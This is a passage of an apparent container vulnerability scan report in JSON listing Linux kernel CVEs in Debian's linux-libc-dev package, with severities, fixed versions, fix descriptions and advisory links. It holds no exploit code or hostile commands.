subsequent\n error paths.\n- Update pdu_length to the decrypted plaintext size (buf_size). Using\n the pre-decryption length allows NextCommand to point into stale\n ciphertext residue.\n- Reject next_cmd values smaller than MID_HEADER_SIZE(server).\n- Fix an integer overflow in the upper bound check by verifying\n pdu_length - next_cmd \u003c MID_HEADER_SIZE(server), ensuring the\n trailing slice is large enough for a header.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 4, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98171", "https://access.redhat.com/security/cve/CVE-2026-98171", "https://git.kernel.org/linus/05762c5bc1cfdcac36747994fde2c04387a457f1%20%287.3-rc4%29", "https://git.kernel.org/stable/c/05762c5bc1cfdcac36747994fde2c04387a457f1", "https://git.kernel.org/stable/c/1ed29f7a03417b405f38c09cfe04124883127b53", "https://git.kernel.org/stable/c/491e33144dee872cffda207f6fcb09260728f803", "https://git.kernel.org/stable/c/72eaef1f37a3b6bec11c342736834dc3707be3e4", "https://git.kernel.org/stable/c/7f022867ec9f0166a0b4400385bb601b1c6b2c75", "https://git.kernel.org/stable/c/858d5ac22cb889266993e7670f9f0c4f4aeedd78", "https://git.kernel.org/stable/c/8749946579708ea0d339034bb7f423a67dbe89cf", "https://git.kernel.org/stable/c/96c436e4b010711452b2872558938f4ef276492a", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-cj2lcl1suuik.toml", "https://linux.oracle.com/cve/CVE-2026-98171.html", "https://linux.oracle.com/errata/ELSA-2026-500572.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98171", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98171" ], "PublishedDate": "2026-10-06T09:17:58.773Z", "LastModifiedDate": "2026-10-30T13:21:11.36Z" }, { "VulnerabilityID": "CVE-2026-98222", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98222", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:caed3c6caf684202c39dec71aa4b3f42eca7acddf7c1cc7fd9d2e7f6dc5d8b46", "Title": "kernel: KEYS: encrypted: fix integer overflow of datablob_len", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKEYS: encrypted: fix integer overflow of datablob_len\n\nencrypted_key_alloc() stores datablob_len in a u16. It is computed from\nmultiple string and payload lengths. If the result exceeds U16_MAX, the\nassignment truncates the allocation size. KASAN reports a 32760-byte\nslab-out-of-bounds write when __ekey_init() copies the master key\ndescription into the undersized buffer.\n\nThe total payload length stored in key-\u003edatalen is also a u16. Use\ncheck_add_overflow() to reject values that do not fit either destination,\nand use kzalloc_flex() for the flexible-array allocation.", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://access.redhat.com/errata/RHSA-2026:90365", "https://access.redhat.com/security/cve/CVE-2026-98222", "https://bugzilla.redhat.com/2348512", "https://bugzilla.redhat.com/2502255", "https://bugzilla.redhat.com/2502376", "https://bugzilla.redhat.com/2502382", "https://bugzilla.redhat.com/2507098", "https://bugzilla.redhat.com/2507122", "https://bugzilla.redhat.com/2516251", "https://bugzilla.redhat.com/2516417", "https://bugzilla.redhat.com/2517006", "https://bugzilla.redhat.com/2528642", "https://bugzilla.redhat.com/2532122", "https://bugzilla.redhat.com/2535066", "https://bugzilla.redhat.com/2540323", "https://bugzilla.redhat.com/2546385", "https://bugzilla.redhat.com/2546494", "https://bugzilla.redhat.com/show_bug.cgi?id=2348512", "https://bugzilla.redhat.com/show_bug.cgi?id=2502255", "https://bugzilla.redhat.com/show_bug.cgi?id=2502376", "https://bugzilla.redhat.com/show_bug.cgi?id=2502382", "https://bugzilla.redhat.com/show_bug.cgi?id=2507098", "https://bugzilla.redhat.com/show_bug.cgi?id=2507122", "https://bugzilla.redhat.com/show_bug.cgi?id=2516251", "https://bugzilla.redhat.com/show_bug.cgi?id=2516417", "https://bugzilla.redhat.com/show_bug.cgi?id=2517006", "https://bugzilla.redhat.com/show_bug.cgi?id=2528642", "https://bugzilla.redhat.com/show_bug.cgi?id=2532122", "https://bugzilla.redhat.com/show_bug.cgi?id=2535066", "https://bugzilla.redhat.com/show_bug.cgi?id=2540323", "https://bugzilla.redhat.com/show_bug.cgi?id=2546385", "https://bugzilla.redhat.com/show_bug.cgi?id=2546494", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-57974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63978", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64523", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72242", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89638", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89777", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93262", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98222", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98320", "https://errata.almalinux.org/9/ALSA-2026-90365.html", "https://errata.rockylinux.org/RLSA-2026:90365", "https://git.kernel.org/linus/8697c431e297eb0d0ab13dda6bc172b48a34f05c%20%287.3-rc4%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98222.mbox", "https://git.kernel.org/stable/c/1e720f63dbafc093a8f5d519f05b67724993edd4", "https://git.kernel.org/stable/c/8697c431e297eb0d0ab13dda6bc172b48a34f05c", "https://git.kernel.org/stable/c/a1a98eca102b1cbbc37ff9eaa197ae4e6a3ea4b0", "https://git.kernel.org/stable/c/cca38f2102a4cd35eda8d48950df4817b4b24757", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-ew3mgctwwwru.toml", "https://linux.oracle.com/cve/CVE-2026-98222.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98222", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98222" ], "PublishedDate": "2026-10-06T09:18:09.153Z", "LastModifiedDate": "2026-10-19T10:18:22.967Z" }, { "VulnerabilityID": "CVE-2026-98232", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98232", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fd1742cf507ecc9b2bdb70ea83ad51b10aebdd1753cf4db002a3b792842d879f", "Title": "kernel: kernel: arbitrary code execution via out-of-bounds stack access in scsi_cdl_enable()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: core: Validate MODE SENSE lengths in scsi_cdl_enable()\n\nscsi_cdl_enable() uses length fields returned by MODE SENSE to locate\nthe ATA feature mode page in a 64-byte stack buffer. A target can report\na total length shorter than its mode header and block descriptors. The\nunsigned subtraction used for the MODE SELECT length can wrap, and the\nseparately computed buf_data can point beyond buf.\n\nDuring automatic scan, enable is false, so the read-modify-write of\nbuf_data[4] can clear the low two bits of a target-selected\nout-of-bounds stack byte. scsi_mode_select() can then copy up to 64\nbytes from outside the buffer into the outgoing MODE SELECT payload,\ndisclosing stack contents to the target.\n\nThis is reachable while scanning a USB storage device that identifies as\nan ATA device and advertises CDL support. No filesystem mount or\nuserspace access to the block device is required.\n\nOn upstream commit cee9395acd80 (\"Linux 7.3-rc1\"), a build-specific,\none-vCPU QEMU/Raw Gadget proof using QEMU-only multi-UDC allocator\nsampling executed a fixed proof command inside the guest and created a\nUID-0-owned marker during automatic enumeration, with KASLR and NX\nenabled.\n\nThe issue was independently found during security research at Drivesec\nS.r.l.\n\nCap the available length to the buffer size. Validate and consume the\nmode header and block descriptor lengths before using the page, and\nrequire the five bytes needed to access the CDL field.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 4, "bottlerocket": 2, "oracle-oval": 3, "photon": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98232", "https://access.redhat.com/security/cve/CVE-2026-98232", "https://git.kernel.org/linus/3d676e458fe0c566f5a62753dc696b6a862fc412%20%287.3-rc4%29", "https://git.kernel.org/stable/c/39491a1ae93054fea10b4030180e5c797b2c0343", "https://git.kernel.org/stable/c/3d676e458fe0c566f5a62753dc696b6a862fc412", "https://git.kernel.org/stable/c/60b0b8ce803e3c2b2a9e5485ab3f88599fb4c7a4", "https://git.kernel.org/stable/c/6233d0b3ef4623df0d6934dc8b93b161e9854f6b", "https://git.kernel.org/stable/c/99a6e4a9176da456904b67dcbae6e77d122782b7", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-saxdoefgygh3.toml", "https://linux.oracle.com/cve/CVE-2026-98232.html", "https://linux.oracle.com/errata/ELSA-2026-500572.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98232", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98232" ], "PublishedDate": "2026-10-06T09:18:10.703Z", "LastModifiedDate": "2026-10-19T10:18:23.997Z" }, { "VulnerabilityID": "CVE-2026-98260", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98260", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b28d4d5536b2194e07ee5933adbd5558d0fbdc01fc88a3c29d58304424eb9f0f", "Title": "kernel: exec: Cleanup POSIX timers right after de_thread()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nexec: Cleanup POSIX timers right after de_thread()\n\nA per-thread CPU timer holds a reference to the PID of the thread it is\nattached to and, while it is armed, its node is queued in that thread's\nposix_cputimers. The task is looked up by that PID.\n\nWhen a non-leader thread exec()s, de_thread() changes which task owns\nthat PID. pid_task(timer-\u003eit.cpu.pid, PIDTYPE_PID) then returns NULL,\nbut the node is still queued on tsk, which is alive. timer_lock_sighand()\ntakes a failed lookup to mean that the node is already dequeued, so it\nhas nothing to undo.\n\nbegin_new_exec() calls posix_cpu_timers_exit(me) right after\nexec_task_namespaces() and that removes the leftover node, so the state\nnormally stays invisible. But bprm-\u003epoint_of_no_return is set before\nde_thread(), so if unshare_files(), set_mm_exe_file(), exec_mmap() or\nexec_task_namespaces() fails, the task dies before it gets there.\nexit_itimers() then frees the k_itimer while its node is still queued,\nand reaping tsk later erases that freed node from the rbtree.\n\nIn short:\n\n the non-leader thread B the parent\n\n timer_create(CLOCK_THREAD_CPUTIME_ID)\n timer_settime()\n arm_timer() // the node is queued on B\n execve()\n de_thread(B)\n exchange_tids(B, leader) // B's PID now belongs to the leader\n release_task(leader)\n __exit_signal(leader)\n posix_cpu_timers_exit(leader) // cleans leader's queue, not B's\n __unhash_process(leader) // that PID has no task anymore\n exec_mmap()\n mmap_read_lock_killable(old_mm)\n kill(B, SIGKILL)\n // -EINTR\n get_signal()\n do_exit()\n exit_itimers()\n posix_timer_delete()\n posix_cpu_timer_del()\n posix_timer_unhash_and_free() // freed while still queued\n wait4()\n release_task(B)\n posix_cpu_timers_exit(B)\n cleanup_timerqueue()\n timerqueue_del() // use-after-free\n\nMove the POSIX timer cleanup right after de_thread() before any of the\nlater failure conditions brings the task into do_exit().\n\n[ tglx: Move the cleanup right after de_thread() ]", "Severity": "HIGH", "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://access.redhat.com/errata/RHSA-2026:86033", "https://access.redhat.com/security/cve/CVE-2026-98260", "https://bugzilla.redhat.com/2461761", "https://bugzilla.redhat.com/2492098", "https://bugzilla.redhat.com/2502325", "https://bugzilla.redhat.com/2502332", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502356", "https://bugzilla.redhat.com/2502462", "https://bugzilla.redhat.com/2502486", "https://bugzilla.redhat.com/2511413", "https://bugzilla.redhat.com/2516967", "https://bugzilla.redhat.com/2532230", "https://bugzilla.redhat.com/2540391", "https://bugzilla.redhat.com/2540872", "https://bugzilla.redhat.com/2546491", "https://bugzilla.redhat.com/2553429", "https://bugzilla.redhat.com/show_bug.cgi?id=2461761", "https://bugzilla.redhat.com/show_bug.cgi?id=2492098", "https://bugzilla.redhat.com/show_bug.cgi?id=2502325", "https://bugzilla.redhat.com/show_bug.cgi?id=2502332", "https://bugzilla.redhat.com/show_bug.cgi?id=2502333", "https://bugzilla.redhat.com/show_bug.cgi?id=2502356", "https://bugzilla.redhat.com/show_bug.cgi?id=2502377", "https://bugzilla.redhat.com/show_bug.cgi?id=2502462", "https://bugzilla.redhat.com/show_bug.cgi?id=2502486", "https://bugzilla.redhat.com/show_bug.cgi?id=2511413", "https://bugzilla.redhat.com/show_bug.cgi?id=2516967", "https://bugzilla.redhat.com/show_bug.cgi?id=2525413", "https://bugzilla.redhat.com/show_bug.cgi?id=2532230", "https://bugzilla.redhat.com/show_bug.cgi?id=2540391", "https://bugzilla.redhat.com/show_bug.cgi?id=2546491", "https://bugzilla.redhat.com/show_bug.cgi?id=2553429", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31678", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52935", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63956", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63962", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63974", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64024", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64032", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64114", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64572", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74509", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80590", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89633", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93817", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98260", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-99999", "https://errata.almalinux.org/9/ALSA-2026-86033.html", "https://errata.rockylinux.org/RLSA-2026:86033", "https://git.kernel.org/linus/acb03d3881818581052924a9bbbe92b8741ed448%20%287.3-rc4%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98260.mbox", "https://git.kernel.org/stable/c/6f1977cea3e85cd8ab55fb337d3e1725fe61d1ce", "https://git.kernel.org/stable/c/75aa08b93c65766040f9ca99f41ac85ad22596b6", "https://git.kernel.org/stable/c/acb03d3881818581052924a9bbbe92b8741ed448", "https://git.kernel.org/stable/c/d602877baf36c43c788a5f472c977e0be414029f", "https://git.kernel.org/stable/c/d9ae467e617ca29b825493a362bf0d75ad5f4ac3", "https://git.kernel.org/stable/c/f6c93e8ecaaf12959b7ef6eb611351001db2ff5d", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-lzl5fzauyucz.toml", "https://linux.oracle.com/cve/CVE-2026-98260.html", "https://linux.oracle.com/errata/ELSA-2026-86033.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98260", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98260" ], "PublishedDate": "2026-10-06T09:18:15.04Z", "LastModifiedDate": "2026-10-30T13:21:12.32Z" }, { "VulnerabilityID": "CVE-2026-98275", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98275", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c38dd0fe123acd40173383d3beea712b656dd7368ccf5bcdc6f9cdaf8f502bd5", "Title": "kernel: kernel: Denial of Service via improper interrupt acknowledgment in Cortina Ethernet driver", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ethernet: cortina: Ack RX overrun interrupt correctly\n\nThe RX overrun interrupt is reported in interrupt status register 4, but\ngmac_irq() acknowledges it using the RX descriptor error bit from status\nregister 0. For GMAC0 this writes the GMAC1 overrun bit, while for GMAC1\nthe shift leaves no bit in the 32-bit register.\n\nAcknowledge the same per-port RX overrun bit that was detected.", "Severity": "HIGH", "VendorSeverity": { "azure": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98275", "https://git.kernel.org/linus/1dd85662fee6e2ac580b1c4f9a0c0a7ae6e31f0e%20%287.3-rc4%29", "https://git.kernel.org/stable/c/1163cc82dcbc145f912bf2106ab668762f53e483", "https://git.kernel.org/stable/c/12a0c7bb448c1899ea3d8f97fa47a8740044e16d", "https://git.kernel.org/stable/c/1dd85662fee6e2ac580b1c4f9a0c0a7ae6e31f0e", "https://git.kernel.org/stable/c/2f23fa11fef9b4a93335894379d82238f0a28228", "https://git.kernel.org/stable/c/472493d1d3334d104b9873abc1c2d80ed3b144f3", "https://git.kernel.org/stable/c/4f33e036e827f368cdb10bcb15ad098448aca0f5", "https://git.kernel.org/stable/c/d4bd670454390aab72ab9fb7b73bce2966c33fe3", "https://git.kernel.org/stable/c/d72d87926ca33c6766dc73ace46859d7220a45bb", "https://nvd.nist.gov/vuln/detail/CVE-2026-98275", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98275" ], "PublishedDate": "2026-10-06T09:18:17.203Z", "LastModifiedDate": "2026-10-19T10:18:28.843Z" }, { "VulnerabilityID": "CVE-2026-98323", "VendorIDs": [ "DSA-6568-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98323", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:fcb3f68c7cb463db8d82ffe9907a19b446c3330df5bda4c988bf29ca8a30c082", "Title": "kernel: RDMA/siw: Bound fragmented header copies by the remaining length", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/siw: Bound fragmented header copies by the remaining length\n\nsiw_get_hdr() can receive an extended DDP/RDMAP header across more than\none TCP callback. The first callback may receive most of the header,\nwhile the next one still limits the copy to hdrlen - MIN_DDP_HDR instead\nof the number of missing bytes. This makes the destination move past the\nend of the header and overwrite the receive state, including\nfpdu_part_rcvd. A later callback can then use a negative fpdu_part_rcvd\nvalue as a copy offset, which creates an OOB write.\n\nUse the number of header bytes already received when calculating the\nnext copy length.", "Severity": "HIGH", "VendorSeverity": { "azure": 4, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98323", "https://git.kernel.org/linus/9ff797e516dbc1ecb73701ec4c24055712d44411%20%287.3-rc4%29", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98323.mbox", "https://git.kernel.org/stable/c/262dcd809723723ed8a4e05437ec7e9c21a8f17e", "https://git.kernel.org/stable/c/2c6fbcf4bfac0b2b186acc8d91154c0fa24468a7", "https://git.kernel.org/stable/c/8628f8ebf41669302513fb3f0bf0eba38b226742", "https://git.kernel.org/stable/c/9ff797e516dbc1ecb73701ec4c24055712d44411", "https://git.kernel.org/stable/c/af9f5b474a260ad23ffb9793d716a5e3bbce3b48", "https://git.kernel.org/stable/c/b72dcfb9bf1f0f0147cda03dc59e4002a315067f", "https://git.kernel.org/stable/c/e6bdfdf3bcb02d0d626a45e8c98b7e63d2fddf9d", "https://git.kernel.org/stable/c/eb4d7a946970469b3ab0c762432bf161d5b0836c", "https://nvd.nist.gov/vuln/detail/CVE-2026-98323", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98323" ], "PublishedDate": "2026-10-06T09:18:24.403Z", "LastModifiedDate": "2026-10-19T10:18:34.457Z" }, { "VulnerabilityID": "CVE-2026-98364", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "Status": "affected", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98364", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c87e1ab1768b14e3f9e4328de5e68afbd0132abff02c8c6e529457eee23f8e27", "Title": "kernel: xfrm: hold net_device reference under RCU in bundle creation", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nxfrm: hold net_device reference under RCU in bundle creation\n\nxfrm_bundle_create() and xfrm_create_dummy_bundle() read dst-\u003edev into\na local pointer without taking a device reference, then pass it to\nxfrm_fill_dst(). A concurrent RTM_DELLINK replaces dst-\u003edev via\ndst_dev_put() and frees the old net_device, causing a use-after-free\nwhen xfrm6_fill_dst() later dereferences the stale dev pointer.\n\n BUG: KASAN: slab-use-after-free in xfrm6_fill_dst+0x82c/0x860\n (net/ipv6/xfrm6_policy.c:86 netdev_hold())\n Read of size 8 at addr ffff8880142fe588 by task exploit/153\n Call Trace:\n xfrm6_fill_dst+0x82c/0x860\n xfrm_resolve_and_create_bundle+0x21d4/0x2bd0\n xfrm_lookup_with_ifid+0x485/0x1640\n ip6_dst_lookup_flow+0x19b/0x1e0\n udpv6_sendmsg+0x1443/0x2dd0\n\nFix this by reading dst-\u003edev via dst_dev_rcu() and keeping the RCU\nread-side critical section active until xfrm_fill_dst() has taken the\nrequired device references.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "bottlerocket": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-98364", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", 